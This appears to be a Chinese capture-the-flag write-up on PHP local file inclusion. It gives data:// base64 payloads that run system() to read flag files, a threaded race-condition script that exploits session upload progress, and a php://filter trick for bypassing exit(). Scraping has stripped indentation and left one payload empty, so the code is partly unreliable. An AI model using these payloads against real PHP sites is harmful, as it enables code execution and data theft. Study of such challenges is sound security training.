str_replace
str_replace() 函数替换字符串中的一些字符(区分大小写)。
2. data://
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
用data协议之间include就不行,需要绕过open_basedir
可以绕过open_basedir读文件目录
似乎可以用 symlink()函数绕过open_basedir这个读文件?
发现似乎没什么限制,DATA://
就是不能用
后来本地测试:
小写data √
大写 ×
具体原因待补充,欢迎师傅们评论区补充
参考freebuf.com/news/202819.html
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这个题目过滤了.
,只能找一个不带.
路径的文件,所以选择了session会话文件
session是以文件的形式保存的
php.ini
中有个配置项–session.save_path= "";
这个里面填写的路径,将会使session文件保存在该路径下。session文件的命名格式是:
sess_[PHPSESSID的值]
。每一个文件,里面保存了一个会话的数据。其实只要使用代码$_SESSION['user_id'] = $value;
就会促发php的session机制,结果往对应的session文件中写入一个值。
利用前要弄明白下面几个点:
sess_[PHPSESSID的值]
PHPSESSID=test
,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO
session_start()
在使用类似$_SESSION['user_id'] = $value;
这样的操作时会创建session文件session.upload_progress
session.upload_progress.enabled = on
的配置下,upload_progress功能开始.意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度,上传文件名等)存储在session当中 ,但是要注意session.upload_progress.cleanup = on配置,on表示当文件上传结束后,php将会立即清空对应session文件中的内容(可以利用条件竞争来读取)upload_progress_
session.upload_progress.prefix = 'upload_progress_' session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'
的条件下,上传文件:// PHPSESSION = test
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
form>
就会在session的session[‘upload_progress_123’]中储存一些本次上传相关的信息,储存在/tmp/sess_test# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading
sessID = 'flag'
url = 'http://7920d625-4983-43eb-9d4f-335e57303fd0.chall.ctf.show/'
def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={
'PHPSESSID': sessID},
data={
'PHP_SESSION_UPLOAD_PROGRESS': ''},
files={
'file': ('test.txt', f)}
)
def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')
if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
体会一下什么叫条件竞争
利用php://filter绕过死亡exit
谈一谈php://filter的妙用@leavesongs
PHP的base64_decode方法并非严格模式,除了跳过填充字符==
,别的字符,满足base64_reverse_table[ch]<0,也会跳过
static const short base64_reverse_table[256] = {
-2, -2, -2, -2, -2, -2, -2, -2, -2, -1, -1, -2, -2, -1, -2, -2,
-2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2,
-1, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, 62, -2, -2, -2, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -2, -2, -2, -2, -2, -2,
-2, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -2, -2, -2, -2, -2,
-2, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -2, -2, -2, -2, -2,
-2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2,
-2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2,
-2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2,
-2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2,
-2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2,
-2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2,
-2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2,
-2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2
};
也就是只有ASCII码值为43,45-47,65-90,97-122时,才有base64_reverse_table[ch]>=0,对应字符为 +, / , 0~9,a~z,A~Z
,其余字符都会被跳过
如本题的 在base64_decode处理的时候可视为
phpdie
,
需要在后面补充两个字符aa
(不能是==
)
# -*- coding: utf-8 -*-
# @Time : 20.11.28 17:53
# @author:lonmar
import requests
import base64
url = 'http://2e85f1cf-fafb-44fd-b6f3-595ec787b4d2.chall.ctf.show/'
# php://filter/write=convert.base64-decode/resource=tmp.php
file = '%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%34%25%36%64%25%37%30%25%32%65%25%37%30%25%36%38%25%37%30'
payload = ''
payload = base64.encodebytes(payload.encode('utf-8')).decode('utf-8')
payload = payload.replace('\n', '')
data = {
'content': 'aa' + payload
}
print(data)
requests.post(url=url + '?file=' + file, data=data)
res = requests.get(url + 'tmp.php')
print(res.text)
?file=data://text/plain;base64,PD9waHAgICBzeXN0ZW0oIm5sICoucGhwIik7
注意base64编码后不能有
=
,调整空格数量即可